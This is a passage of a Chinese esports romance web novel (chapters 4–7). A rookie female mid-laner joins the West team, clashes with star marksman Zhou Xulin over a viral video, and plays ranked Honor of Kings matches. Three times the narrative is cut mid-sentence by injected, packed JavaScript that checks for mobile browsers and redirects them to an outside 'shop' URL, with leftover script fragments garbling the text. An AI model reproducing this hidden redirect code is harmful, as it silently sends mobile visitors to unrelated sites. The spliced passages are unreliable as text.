她将喻霓拉到椅子上坐下,握住她的手:“芋泥,我知道你是为我好,我也很感谢你。但是我相信,你比任何人都清楚当年我为什么拒绝了TwJing的女队选择未知的Dawn。” 4. 热搜 04 程知簌看着两人交叠在一起的手,轻声说:“我只想靠自己。” 我希望大家提起我的时候会说我是优秀的冠军选手,会说我走来的每一步都不容易,而不是将目光放在我曾是谁的队友身上。 作为一名职业选手,女性这个身份带来的枷锁太重了。 焦虑、迷茫、麻木、孤独、痛苦、怨恨。 他们明明只是围成了一个很小很小的洞,可身处无边荒野的程知簌却只想往下跳。 但程知簌控制住了自己,将指甲嵌入掌心,便是血流成河也不敢停下。 她需要保持绝对的清醒。 她也知道,支撑着她的,一直是当年对周叙临的恨。 痛苦这个东西可以是类似的,但绝对不能是同质的。 所以她没办法在周围人身上获取安慰,只能一个人嚼碎了,咽下去。 程知簌抬起头,日光透过她的眼眸,将瞳孔照成琥珀的颜色。 她其实是很喜欢雪的,可雪只存在于凛冬时节。但是凛冬真的很漫长,长得漫过了枝丫。 不过她仍然相信,枯木终会逢春,暖阳终将降临。 …… “我当然知道,我们从小就在一起,你做什么事情我不知道?”喻霓的声音闷闷的,“但是你明明可以不那么累的。” 她突然有个大胆的假设:“当年你那么快就出国了,谁都没有告诉,要是再等一等呢?” 她越说越来劲:“说不定会有好消息呢?” 程知簌摇摇头:“不会有比那年的Dawn更好的战队了。” 资源配置顶尖,成绩稳定,只缺一个指挥型中单。 更重要的是——接受女选手。 谁不清楚王者荣耀板块只有国内遥遥领先。 可当年的程知簌没得选,现在来到West,她也没得选。 “如果是TwJing呢?”喻霓又念了一遍这个战队名,“你也不去吗?” TwJing战队在前年由TW公司收购后后就从北京搬到了广州,是当之无愧的豪门战队。 战队也是自前年大换血后蝉联三个大赛冠军,建立属于自己的王朝。 程知簌以为喻霓没听清她前面的话,又重复了一遍:“我当时就是拒绝了TwJing选择的Dawn。” “我说的不是女队。” 程知簌突然愣住。 她攥了攥手,努力维持脸上的表情。 “你说的是一队?周叙临的队伍?” 喻霓纠正她:“不是他的队伍,是一个优秀的冠军战队。” 外界虽然戏称降临是队内霸王,但他又不是国服项羽,没那么大的脸代表整队。 但程知簌笑了起来:“那又怎么样?就算没有周叙临,他们也不可能要我。一支刚夺冠的冠军队伍,怎么可能考虑一个没有职业训练的女选手?” 她不愿意妄自菲薄,可这是事实,她得面对事实。 即便是如今在马来西亚拿了四冠一亚二FMVP的她也够不上TwJing的门槛。 两者根本不是一个概念。 喻霓张了张嘴,没有说话。 她想,也许程知簌一早就考虑过所有可能,所以才会那么痛快做下决定。 她为自己的妄想感到可笑:“对啊,本来就是不可能的,就算……也是不可能的。” 喻霓了解程知簌,可程知簌未尝不了解她呢? 程知簌看着她的表情,觉察出她的不同寻常,问她:“你想说什么?” 没有。”喻霓将脑子里乱七八糟的东西甩出去,“我只是想起你刚收到Dawn消息的时候,TwJing也有招中单的想法。” 程知簌想了想,的确是有这么回事,但…… “你是怎么知道的?” 就连她也是这几天才从酒巡那听说的。 发现自己说漏了嘴,喻霓忙打哈哈:“就……听朋友说的呗。” 程知簌眯了眯眼,追问道:“什么朋友,我认识吗?” 说了一句谎话就要用无数个来圆,简称搬起石头砸自己的脚。 “我也不知道你俩认不认识……” 顶着程知簌怀疑的目光,喻霓也不太好继续隐瞒:“哎呀好了好了。” 她眼光躲闪:“是我男朋友说的。” “你今年都21了,谈恋爱不是很正常吗?怎么一脸心虚?怕我不接受他?” 程知簌拍了拍喻霓的头:“少看点乱七八糟的帖子吧。” 但她转念一想,突然意识到:“好哇你,还说我瞒着你,你不是也藏着掖着?” 这下轮到喻霓露出讨好的笑了。 她挽起程知簌的胳膊晃了晃:“哎呀,我怕你不喜欢他嘛~” 程知簌心里咯噔一下。 能让喻霓在还没见面就认定她不喜欢的…… “你对象……是电竞圈的?”程知簌迟疑道。 喻霓抿嘴点点头。 程知簌的嘴角抽了抽:“不会是……竞男吧……” 喻霓再次郑重地点点头。 程知簌脸上的表情瞬间垮掉,闭上眼又睁开的时候几乎带着点崩溃。 “你疯了吗?谈竞男?” 程知簌实在是恨铁不成钢:“先不说学历——也不能不说,像我一样读了高中的都没几个,哪配得上你啊。” “哎呀,簌簌~”喻霓抱着她的手臂撒娇,“虽然你夸我我是很高兴啦,但是学历是拿来找工作的,谈恋爱又不看这些。” “那也不能光看脸吧,脸又不能当饭吃。”程知簌一脸嫌弃,“反正我要是谈圈内人,至少三个冠军,不然没得商量。” 这下轮到喻霓露出嫌弃的表情了:“你那是谈恋爱吗?要这样干脆和王者荣耀谈呗,还能白嫖皮肤。” 程知簌倒真垂眼思索了一番,考虑这个方案的可行性。 “……我就随口一说你还真敢想啊。” 程知簌“嘿嘿”一笑,被喻霓垂在胸|前的卷发勾起了兴趣,好奇地捏起又圈住手指玩弄。 “说真的芋泥,一年没见,你变得更好看了。”她将喻霓上上下下哪哪都看了个遍,“怎么我站你旁边跟个小学生一样?” 喻霓本是清冷柔和的长相,但今天的她认真做了卷发造型,又画了个妆,更多了几分凌厉的感觉。 “那可不。”喻霓十分骄傲,“我为了今天的面试——” “今天的面试已经结束了。” 吴庸的上身坐得笔直,不紧不慢地翻看手里的资料,一点眼神都没有给对面的喻霓。 “我们俱乐部不欢迎没有时间观念的人。” 喻霓被程知簌突然回国的消息震惊到,完全忘了今天自己早起做造型是为了面试这一档子事。 等她想起来的时候,已经过了二十分钟。 她只能试图挣扎:“吴经理,我真不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496337|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意迟到的……刚走到隔壁栋了……” “隔壁是选手的休息区,走错也耽误不了多少时间。”吴庸推了推眼镜,“难道你要说刚好有选手会在这个点醒还给你开了门?” “咚咚——”程知簌敲了敲办公室的门。 “进。” 程知簌推门而入,向吴庸露出乖巧的笑:“吴哥,不好意思,刚是我给——” 她假装疑惑:“不好意思你叫什么名字?” 收到提示,喻霓忙打配合:“我叫喻霓,比喻的喻,霓虹的霓。” “哦哦。”程知簌点点头,“我以为喻霓就在我们那面试呢,这才给她开的门。是我的问题才让她迟到的,吴哥你就通融通融呗。” 吴庸绷着一张脸,终于将视线从手中的资料移到了面前的两人身上。 他是West战队的经理,负责选手日常管理、赛事流程准备、商务行政运营以及联盟平台沟通,是队伍的“大管家”。 吴庸上下打量二人好一会,让程知簌紧张得做了好几个吞咽动作生怕被拆穿,才慢悠悠道:“行,看在凛冬的面子上,你就从今天开始上班吧。” 程知簌与喻霓同时松了一口气。 “谢谢吴哥给我这个机会,我一定会好好干的。”喻霓说,同时还不忘对一旁的程知簌眨眨眼。 “嗯。”吴庸拿起桌上的杯子轻轻抿一口,“合同我待会让小王和你沟通,实习期表现没问题可以抵试用期,等你拿到毕业证就能转正——” 吴庸顿了顿:“当然,这得是基于你愿意继续干下去的前提下。” “没问题的吴哥。”喻霓比了个OK的手势,“我可喜欢干运营了。” 吴庸勾了勾嘴角,觉得大学生真是单纯得可爱:“你主要对接的选手就是凛冬——哦,就是你旁边这位。” 程知簌的眼睛顿时亮了起来,一只手背在身后,朝喻霓比了个大拇指。 好闺蜜成为同事,谁来了不得兴奋地跳起来,他们这样还是够收敛的了。 吴庸将手中的杯子放下,点了点头:“精神面貌不错,接下来的抽签大会——” “——任务很重,时间很紧。”West战队主教练EGG“啪”一下合上他的bp本,端的是一种严肃的姿态。 程知簌想可不紧吗,就在明天。 “凛冬。”副教练番茄点名,“微博要发什么记得提前编辑好,我们明天和大名单同时官宣。” 程知簌点头:“已经写好了,要发给你看吗?” 如果是青训上来的选手,番茄一定要仔细检查检查,但凛冬怎么说也是读了几年高中的,他可放心太多。 “不用,你心里有数就好。” …… 虽然磨合的时间不算很长,但程知簌与其他几位队友在训练赛的配合出乎意料的好,她的打法总体上也适配队伍。 EGG站在程知簌身后,看着她的操作连连点头,同时也感叹这样的好苗子兜兜转转竟然被他们战队拿下了,是当初的TwJing没眼光啊。 训练赛结束,几人把手机往兜里一揣打算点外卖吃个宵夜,没想到手还没握到把手上,门就被人推开了。 “凛冬,出来。”进来的是吴庸经理。 对上吴庸的视线,刚才顺手从抽屉里摸出棒棒糖叼着吃的程知簌不知自己该吐掉还是继续吃。 直到向来网速第一的打野晴朗举起手机:“我去,凛冬你上热搜了。” 5. 直播 05 程知簌本对自己会上热搜这件事心知肚明。 现役女职业选手,放哪都是香饽饽——也可能是臭鸡蛋,有这样的排面太正常不过了。 但她还是想简单了,例如教练才说过官宣时间是明天她为什么今天就在热搜上看见了自己的名字。 …… 事情起因是,某选手的粉丝群突然传出一个清晰度不高,角度也刁钻的视频。 视频很短,两个主人公都只露了半边侧脸,但这已经足够大家看出到底是谁: 左——TwJing的四冠射手,降临。 右——前马来西亚赛区Dawn战队中单,凛冬。 虽然没在赛场见过这张脸,但逃不过当代网友的火眼金睛。 至于为什么加个“前”字,不是因为网友手眼通天到连程知簌转会都知道,而是Dawn战队自PC事件后被其他大佬收购,已改头换面重新来过。 视频的背景音很杂,所以听不清他们聊了什么,只能看见降临往前走一步后,凛冬抬起手,往下。 视频到这里戛然而止,后续那一巴掌到底有没有打下去谁也不知道, 但很显然,发出来的这个人目的已经达到,结果如何并不需要。 作为当事人之一,程知簌当然清楚自己是来真的。 但网友不知道啊,纷纷喊话俱乐部给个交代。 程知簌真想评论说:别喊了,我俱乐部都散了没人会回你们的。 但她是有贼心没贼胆。 程知簌反复拉进度条,慢吞吞咬碎嘴里的棒棒糖。 还没正式官宣转会就弄出这么大的幺蛾子,不是什么好兆头。 “这个事情很复杂。”吴庸说,“我得知道你和降临究竟是怎么一回事。” 程知簌直接承认:“他骂我,我就打了他,是真打的那种。” 吴庸沉默了。 不是程知簌说的话他不信,而是要怎么让网友相信。 毕竟凛冬对他们来说只是个陌生人,说的话远远不如拿了四个冠军的降临有用。 他试着问:“你和降临熟吗?” “我说熟你信吗?” “……不太信。” 程知簌一条条滑着周叙临微博下的评论,眼见最新一条几天前的商务微博下的楼叠得越来越高,各方乐子人也齐聚在此。 【呜呜呜,叙宝你要是被霸凌了要和我们说啊】 【气死我了这女的】 【666居然敢打射手皇帝降临,这个人我粉了】 【醒醒吧,Dawn都被警察蜀黍一锅端了,自己凑合着煮碗粉吃吧】 【你别说凛冬降临有点东西,都是甄姬本命?】 【我记得降临采访说过自己最初是玩中单的】 【弃中单从什么都是很牛的】 【我去别蹭我家临神啊】 【又自封神了】 【不是怎么每次抽签大会前都要出事啊】 …… 什么妖魔鬼怪都来了。 程知簌看着评论那是两眼一黑,那么多条没一条是她想看的。 吴庸这时在微信给她推了一个名片,她定睛一看才发现是老熟人,毕竟这家伙一年到头也不换头像。 “推给你了,加他说清楚,态度好一点。”吴庸是真的没招了,“现在外面都觉得降临才是受害者,只有他出来解释才有用。” 程知簌露出为难的表情:“他也骂了我啊……” “证据呢?”吴庸说,“不是我要杠你,只要你没法证明,他骂没骂你都不重要。” 程知簌:很有道理但她真不服。 …… 队友都去客厅吃宵夜了,只有程知簌找了个减肥的理由回到训练室。 她坐在电竞椅上,内心纠结无比,脚撑地原地转了好几圈。 记得那时,周叙临说自己的手机没电了拿她的用,回到她手上的时候微信置顶的人就变成了他,备注还是土里土气的“AAA冠军射手”。 她动动手指将备注改回“周叙临”,置顶却一直没变。 即便他们已经一年没有联系,对话也还停留在那时—— 【周叙临:你确定不需要我帮忙?】 【凛冬:确定】 程知簌敲了几个字,又默默删掉。 其实他们从来就不是能好好说话的关系,她真没必要为了这件事去打扰他。 反正网络没有记忆,过段时间就能好的吧。 这样想着,程知簌关掉手机,拿出训练手机点开游戏。 挑战者杯的抽签大会就在明天,赛程紧、任务重,她应该把时间放在这里。 …… TwJing这边也在说挑杯的事情。 “今年挑杯还是沿用去年的新赛制。”主教练说,“32进8单败淘汰赛,8进2双败淘汰赛,一月后的决赛是BO9,考验耐力与膀胱的时候到了。” “虽然我们依旧是春季赛的夺冠阵容,但今年新增了挑杯转会期,其他战队引进了不少实力不错的选手,我们也不能掉以轻心……” 后面的都是些翻来覆去说过很多次的话,周叙临漫不经心地听着,手指在手机屏幕上疯狂点着什么。 “降临。”主教练点他的名字,“手机挺好玩啊,我刚说了什么?” “我们不能掉以轻心。” “还有呢?” “赛前开香槟没好下场,碰到全国大赛的队伍也一样。” 主教练:……的确说对了。 主教练:所以我该不该骂两句意思意思? 周叙临站起来:“教练说完了吗?我这个月直播时长还没补完。” 主教练不清楚他的直播时长具体有多少,只知道他确实是队伍里最长的。 “说完了,我对你要求不高,给我记住不要狂啊。” 周叙临丢下一句“知道了”,就往门外走。 主教练对着他的背影摇摇头,感慨降临还是那么狂妄,但又确实有狂妄的资本。 他拿起桌上的笔记本,合上的时候注意到本子上方的日期。 “降临,这特么才月初你告诉我你要补什么时长?” …… 周叙临只是想随口敷衍教练一句打断他的长篇大论,没想到那么快被拆穿。 他说的话倒是对了一半,起码他现在的确准备直播。 他绕到隔壁的直播室,找到自己的电脑坐下,轻揉酸软发胀的手腕,目光落在面前的手机屏幕上。 聊天界面上方的“正在输入中……”一直没停。 终于想清楚要来找他了? 周叙临内心得意。 那他就勉为其难帮她一次吧。 这样想着,周叙临勾了勾嘴角,但又觉得这表情太小人得志不符合他的气质,调整后收回。 他将手机放到支架上,静等着对面人开口——他甚至已经想好该怎么回复她了。 措辞要冷漠一点,显得他一点都不着急,不过也不能太冷了,万一她当真了怎么办? 但等了快两分钟,“正在输入中……”的字样却消失了,露出对面人的名字——橙子。 他刚会说话那段时间,家里的大人教他念程知簌的名字,他说得含含糊糊,平舌音翘舌音也不分,只一遍遍重复“cenzi”。 后来他们都长大了,关系不复小时候,他总觉得程知簌看他的眼神变得很不一样,也没有继续这么亲昵地叫她。 “橙子”这个名字最终被他储存在了微信备注里。 周叙临不死心,退出聊天框,手指不断往上滑,执拗地认为是还没加载出来的原因。 可直到他在WiFi和流量上来回切换了好几次,还是没有任何动静。 只有其他对话框里跳出来的小红点随着手机振动发出“嗡嗡”的声响,各路吃瓜群众旁敲侧击地试探,语气尽是看好戏的兴奋。 这时,他才终于意识到,根本没有消息。 也许程知簌在某一个瞬间是有想过的,但什么事都是只看结果不看过程的。 他不得不正视的是,她什么都没发。 周叙临的表情一瞬间僵住,目光随着其他跳得越来越快的小红点慢慢变冷。 他感觉到自己手腕的酸胀感忽然变得清晰起来,一点一点顺着血管往上爬。 红细胞也推着它前进,最后在他的心脏停下,狠狠地攥了一把,挤出血泪。 屏幕变暗,自动熄灭,倒映出周叙临模糊的脸。 最后,他扯了一下嘴角,笑话自己的自作多情。 春天对他来说真不是个好季节。 去年三月季后赛败者组决赛发挥失常止步四强,今年四月“被霸凌”爆上微博热搜。 两次都是和同一个人有关,他不知该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496338|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说自己是幸运还是不幸。 但其实他也清楚,有时候结果与幸不幸运没有什么直接的关系。 事在人为,非求神拜佛所能确定。 想通这一点,周叙临呼出一口气,拿起桌上的手机给经理发了条消息,再打开电脑。 猝不及防的开播提醒让粉丝都摸不着头脑。 毕竟周叙临在哪都是皇帝般的待遇,什么直播时长他根本都不放在眼里,每次都假装手机信号不好收不到催他直播的消息。 上次开播还是一个月前,播了半小时就找理由下了,气得运营拿官号回了粉丝好几个哭脸直说冤枉他们真没不让降临直播。 【啥意思啊,现在播】 【终于想起我们了QAQ】 【宝宝的脸色好差,是受微博影响了吗】 【要我说直接冲就完事了】 【呃,凛冬又没微博冲哪去?】 【人家可是冠军中单,联盟第一女选手,自有大儒为其辩经】 【要什么紧,现在是春天】 【第一女选手没打过KPL,xswl(笑死我了)】 【s蹭姐不用多说】 【卖惨咯】 【主播现在啥情况,怎么又打开游戏了?】 周叙临早早打开了游戏,只是太久没直播一不小心将视频窗口调到最大,捣鼓半天才调整好。 “不用送礼物。”他脸上没什么表情,“随便播一下。” 他将直播间名改成【巅峰赛】,这才点开弹幕栏扫视一遍,把那些说话难听的都禁言,挑了几条回复: “怎么现在开播——很难猜吗?” “脸色好差——看错了。” “今天还是巅峰赛吗——不然呢?” “怎么把我禁言了——直播间禁止带节奏。” 都是些重复了几百遍的问题,不过他此时此刻的确庆幸粉丝的不厌其烦。 他说一句禁一个,打职业练的手速派上了大用场。 弹幕肉眼可见地安静了很多,但在线人数反而越涨越多,大有要突破二十万的架势。 黑子不黑了,串子也不串了,毒唯也不刷屏“哥哥今天又帅了”,全都默不作声等着吃瓜。 周叙临当然知道他们在等什么。 他这时倒是不急了,慢悠悠拿起杯子先喝一口水,吊得直播间众人心痒痒。 【速速】 【等你等得花都谢了~】 直到周叙临登录在手机上的小号弹出一句“您的特别关注已上线”,他才清了清嗓子,故作随意:“微博的视频我看了,拍的什么啊,把我都拍矮了。” 【嗯嗯嗯,知道您188了】 【还不是转移话题,卖什么关子?】 估算着时间,他继续说:“有什么好解释的,错位剪辑也信?别乱带节奏了。” 【就是啊】 【我说了降临哥哥不会被欺负你们还不信】 【营销号害死我了】 【临宝就一巅峰赛公务员,能和别人发生什么矛盾】 巅峰赛是王者荣耀里专属于王者段位的单人排位模式,具有高竞技性,对于职业选手来说也是证明实力的重要模式。 【不是吧,我亲戚参加酒巡退役会时亲眼见到降临怼凛冬呢】 【你这么一说那视频走廊好像是退役宴的酒店诶】 【lgccw(老公宠宠我)】 【私】 【有什么话就在这说呗,大大方方的多好】 【所以你和凛冬究竟是什么关系】 “不用私聊了。”周叙临凉声道,“打过全国大赛,不熟。” * 周叙临一开播,程知簌这边就收到了消息。 当然不是她嘴上不想理他背地里却默默关注他这样的狗血剧情,而是她的热心队友辅助夏深发了链接。 还附赠了一句【我擦降临直播了快来吃瓜】,让她想装作不知道都难。 四个人在群里讨论得热火朝天,从“他脸色好差是又有谁遭殃了?”到“你们说他会咋回应?”,然后开始脑补一段恨海情天的恩怨纠葛,完全忽略了群里还有个正主。 程知簌捧着手机,面无表情地看着群消息刷得越来越快。 虽然这么说有点讽刺,但他们要是能把这编故事的能力分一半放在比赛上,West也不会这么多年还在B组挣扎。 6. 不熟 06 【凛冬:[微笑jpg.]】 群里瞬间安静了,但也只是一会。 【夏深:太好了我们完蛋了,完全忘了正主还在这个群惹】 【凛冬:难道你们还有别的群?[怒jpg.]】 【晴朗:我发誓只有这一个】 程知簌正要继续输出,手指飞快点击字母,夏深又发了一句语音过来—— 【夏深:那个我再说一句啊,降临在直播间说你们不熟诶,真的假的?看前几天他那架势不像啊】 语气带着明显的幸灾乐祸。 程知簌的房间在基地一楼走廊尽头的拐角处,信号多数时间只有两格,各种信息加载也总是慢半拍。 夏深说话的时候,她平板里正同步播放的直播间里,周叙临的声音分秒不差地响起,两个字正好重合——“不熟”。 偏偏就是这么巧,程知簌想。 命运总爱捉弄别人,让人牢记想忘却的,让人忘却想牢记的。 平板屏幕上,少年脸上的光线虽然不充足,但依旧能看出分明的轮廓。 他正垂眼看手机,左眼皮尾部露出的那颗小小的痣随着他眨眼的动作微动,像是天上一闪一闪的碎星。 程知簌看得有些出神,拇指无意识地摩挲着手机壳边缘,竟不知群里又多了几条消息—— 【夏深:我去,有人问他对你什么想法,他直接闭麦了】 【夏深:这谁信你俩没什么啊】 【逢春:我信】 逢春是战队的射手,打发育路,和周叙临是完全不一样的性格,高冷,不太爱说话,存在感极低。 他突然插这么一句,程知簌确实没想到。 【夏深:又有你事了】 【夏深:我去,降临一直没开麦,现在连摄像头都关了】 【夏深:巅峰半天进不去,直播间想聊点游戏都不行,气氛巨吓人】 程知簌看着群聊的信息不断刷新,不知道自己在想什么。 周叙临直播时说的那句“不熟”一直在她胸口转,有种很钝的闷感。 像一颗胶囊卡在食道里,怎么咽都咽不下去,怎么咳都咳不出来,只能等食道的温度将外壳融化,里头的苦缓慢地渗出来,从喉咙蔓延到舌根,从舌根扩散到整个口腔。 程知簌告诉自己,周叙临说得没错,他们本来就不熟。 一个是正处巅峰期的四冠射手,一个是出身于外卡战队的中单,能有什么交集? 他主动和他撇清关系,她不应该感到高兴吗? 程知簌面无表情地关上平板,拿起手机转身走出房间。 训练室在另一栋楼,离她的房间距离是最远的。 程知簌和逢春明天需要早起赶高铁去上海参加明晚的抽签大会——问就是战队资金有限,早一天去就要多掏一天的酒店钱,且他们两人也不能住同一间房,所以今天的训练赛结束得比较早。 经理把行程单私发给她时,还特地补了句“队内资金紧张,能省则省”。 其他几位选手锻炼的锻炼,吃宵夜的吃宵夜,只有逢春还在训练室打巅峰赛。 程知簌推门进来的时候,久违地在这个向来冷漠寡言的男人脸上看见了惊讶的表情。 不是那种很夸张的瞪眼,逢春不会做那么大的动作,只是眼睛很明显地亮了一下,整个人短暂地慢了半拍。 程知簌不是腼腆内向的性格,很自然地抬了抬下巴,跟逢春打招呼。 “在打巅峰赛?”她问。 逢春回过神来,虽然很快闭麦,但直播间还是听到了程知簌的声音。 【?】 【我怎么听到了女人的声音】 【不可能,他们基地连只母蚊子都没有】 【谈恋爱了?】 【不要啊,我养了那么久的白菜】 【春宝可是王者荣耀梦男,他会对女生感兴趣?】 【我能想象春宝和女生说话第一句会是“你巅峰分多少”……所以pass!】 游戏正好结束,逢春点掉水晶,对弹幕说:“呃,是工作人员,经理找我有点事,先下播了,晚安。” 撒谎不太熟练,关掉直播的动作却很利落迅速,让弹幕都还没来得及刷问号。 程知簌还站在原地不敢动,生怕出镜,用气音问他:“在直播?是不是打扰你了?” “没事。”逢春取下耳机放在桌上,这才抬头看她:“刚好也要下播了。” 程知簌拍拍胸口,在逢春身边坐下,恢复正常音量:“差点就暴露了。” 毕竟她现在正处于风口浪尖上,Dawn那些乱七八糟的事情还缠着她。转会流程虽然已经走完,但在West正式官宣前,还是能少一事是一事吧。 逢春看着她的动作,目光在她的唇部停留片刻,又往上移,问了句没头没尾的话:“你不希望他们知道你在我身边?” 程知簌奇怪地看他一眼:“还没官宣啊。” “该知道的也都知道了。”逢春拿起放在桌上的手机划拉两下,“超话已经有人发了。” 他调出West战队超话,将手机屏幕展示在程知簌面前。 程知簌本来是没想看不熟悉的人的手机的,但逢春都快把手机怼她脸上了,她也只好低头去看。 早在酒巡退役会当天就有人发帖,称West要引进一位冠军中单,至于是什么冠军先别管,有冠就是了。 帖主卖了半天关子,洋洋洒洒列了一堆没什么关系的数据对比和转会动向分析,直到今天闹出热搜后才说这个“冠军中单”就是Dawn战队的凛冬。 只是退役会之前酒巡三令五申不许录像,这才没有视频流出。 她想,酒巡还是不够了解现在人想吃瓜的心理,不然得再加一句“从踏入酒店那一刻开始不能录像”,让她也避免被偷|拍发到网上的倒霉遭遇。 逢春不动声色地观察程知簌的表情。 他的目光不是那种直勾勾盯着人的打量,更像是不经意地一瞥,又很快略过。 见程知簌没有太大反应,逢春又才补上一句:“明天公布大名单,早晚知道都一样。” 程知簌想,逢春不愧是酒巡一手调|教出来的人。 从青训到二队,他们虽然都是中单没有同台登场的机会,但确实亦师亦友,连脑回路都一模一样。 区别在于酒巡是个妥妥的碎嘴子,而逢春显然只继承了内核没在意表面。 只可惜教练发掘出了逢春在发育路的天赋,酒巡对他抱着的“重铸中路荣光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496339|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的希望也没了。 也不知道酒巡在决定联系她这个新中单的时候,心里会是什么滋味。 程知簌朝逢春笑笑,敷衍地说了句“也是”,将电竞椅挪回自己的位置。 “你要打游戏吗?”逢春又问。 程知簌想,不是都说逢春孤僻内敛不爱说话吗?怎么在她这像完全反过来了一样。 她说:“对。” 逢春似乎察觉不到程知簌语气里的疏离——又或者是察觉到了却不在意,继续说:“要双排吗?教练让我们这段时间练练配合。” 有这回事? 程知簌在脑子里搜刮了一圈,没想出教练什么时候交代过这个。 她没打算深究,拒绝的理由现成就有:“不了吧,我们明天还要去抽签大会没什么时间。今天周六了,我还差几十分拿千强和闪电框。” 闪电框是游戏加载界面的英雄框,只有巅峰万强以内的玩家可以获得,每周一结算,右上角还会展示排名。 在职业圈里这东西说重要也重要——算是高手玩家的认证。说不重要也不重要,毕竟比赛看的是团队成绩又不是巅峰分数,巅峰分再高没有冠军也只会被群嘲。 但程知簌刚加入新战队,头上还顶着“外卡战队”的标签,总想在其他地方证明些什么。 逢春若有所思:“你很喜欢巅峰赛?” 程知簌没懂他为什么会把这两件事联系在一起,拿闪电框跟她喜不喜欢巅峰赛之间有什么必然的联系吗? “啊?也……没有吧。” 不过她倒是知道有一个人素来有“巅峰公务员”的美称。 但本人对此事不太乐意的—— “巅峰公务员?”周叙临将训练机放在支架,身体靠在电竞椅上。 他一条腿踩在椅子边缘,手肘撑在膝盖上,托着下巴。 他另一只手握着手机,漫不经心地回复经理,和弹幕说话的时候语气懒洋洋地:“真看得起我,我喜欢。” 高分段排队的时长确实折磨人,屏幕中|央的计时器已经跳到了十二分钟,特效的炫光一圈圈转着,看得人心烦。 周叙临没看弹幕。 放在桌上的手机屏幕还亮着,微信图标右上角小红点的数字还在涨。 但他没有点进去,只是垂着眼睛,大拇指指腹无意识摩|擦着脸颊。 “叮——”一声,巅峰赛终于排进去了,突如其来的音效拉回周叙临的思绪。 他慢条斯理地指挥队友禁掉几个超标英雄,左眼皮那颗小小的痣在他眼皮间若隐若现,像凛冬降临时极夜里闪亮的星。 * 程知簌没跟逢春双排。 她给训练机连上蓝牙,点开巅峰赛开始匹配。 训练室里一时安静得只剩下逢春偶尔敲击键盘的声音。 程知簌的座位在他右手边,瞥眼看发现他似乎是和谁在微信聊天。 他的键盘声音清脆,节奏不紧不慢,像雨滴砸在玻璃上。 程知簌默默听了一会,莫名觉得这声音和周叙临敲键盘的时候很像——是他们初中偷跑去网吧玩英雄联盟的时候,两人配合默契,不需要说话都能知道彼此的想法是什么。 她被自己突如其来的回忆烦到,伸手将游戏音量调大。 7. 巅峰 07 程知簌发现她的直觉以一种诡异的方式变得十分可怕。 具体表现为,周叙临才在她的记忆里滚了一圈,这个人就立刻出现在了她的面前。 ——不是物理意义上的出现。 “我去,对面是降临!我在看他直播,真是他!”射手开麦指挥队友帮抢,“辅助先上,让我后手。” 巅峰赛无法和对手交流,局内玩家的ID也只用“巅峰召唤师X”来称呼。 一般情况下只要不开麦或是在对面,玩家是不清楚局内遇到的人是谁的。 当然,直播窥屏不算在这种情况内。 晚上的撞车率向来高,更何况还是高分巅峰赛。 直到自家辅助熟悉的声音传来,程知簌心想这未免也撞得太大了些。 “可以给个中路吗?我是酒巡。”酒巡一上来就自报家门,还不忘点开中单头像丢个爱心戳戳以示礼貌。 戳戳是在组队和bp阶段才能使用的礼物,好友间使用还可增加亲密度。 于是,酒巡和屏幕中|央的“您与‘凛冬’的亲密度上升了2点”几个字面面相觑。 “……那么巧。”遇到熟人,酒巡歇了要位置的心思,老实玩他的辅助。 “辅助是酒巡?”这下轮到射手不愿意帮抢了,“中路哥们让个位置呗,他是职业。” 程知簌心想原来酒巡的名字那么好使,那她这么多年忍“辱”让位的苦算什么。 酒巡笑了笑:“是前职业——没事,中路是我好友,相信她。” “不是我不相信……”射手语气犹豫。 他宁愿先出也不愿意帮酒巡抢辅助,可见不知名队友给人带来的“压迫感”:“对面射手可是降临啊,对线期猛得一批。别说我们这种路人了,就连职业单挑都没人能打得过他。” 这样的后果就是红色方的对面拿到了当前版本最强势的辅助之一——盾山。 赛季新增了巅峰万强赛,是单分路或全能榜前万名玩家的专属模式,参照KPL的bp(禁用选择)环节,蓝先红次,一轮各禁2选3,二轮各禁3选2。 程知簌感到力竭,毕竟在巅峰万强的局让红色方拿到盾山这样的英雄也是破天荒头一回。 事已至此,作为中单的她只能帮队友“擦屁|股”。 中单作为团队的C位,主要靠打团和控中立资源来发挥作用,看阵容拿反制位(bp环节的45楼)非常重要。 在两方实力差距不算太大的情况下,哪边阵容更好,哪边就更容易赢。 这局游戏因为有酒巡作保,所以程知簌得以留到四楼选英雄。 她观察两边阵容,估算队友的大概水平。 尽管并不习惯玩工具人中单,但她也实在想不到有比西施更好的英雄了。 …… 周叙临果然如射手所言打得很凶,开局就是鞋子换匕首白嫖移速比他更快到线上。 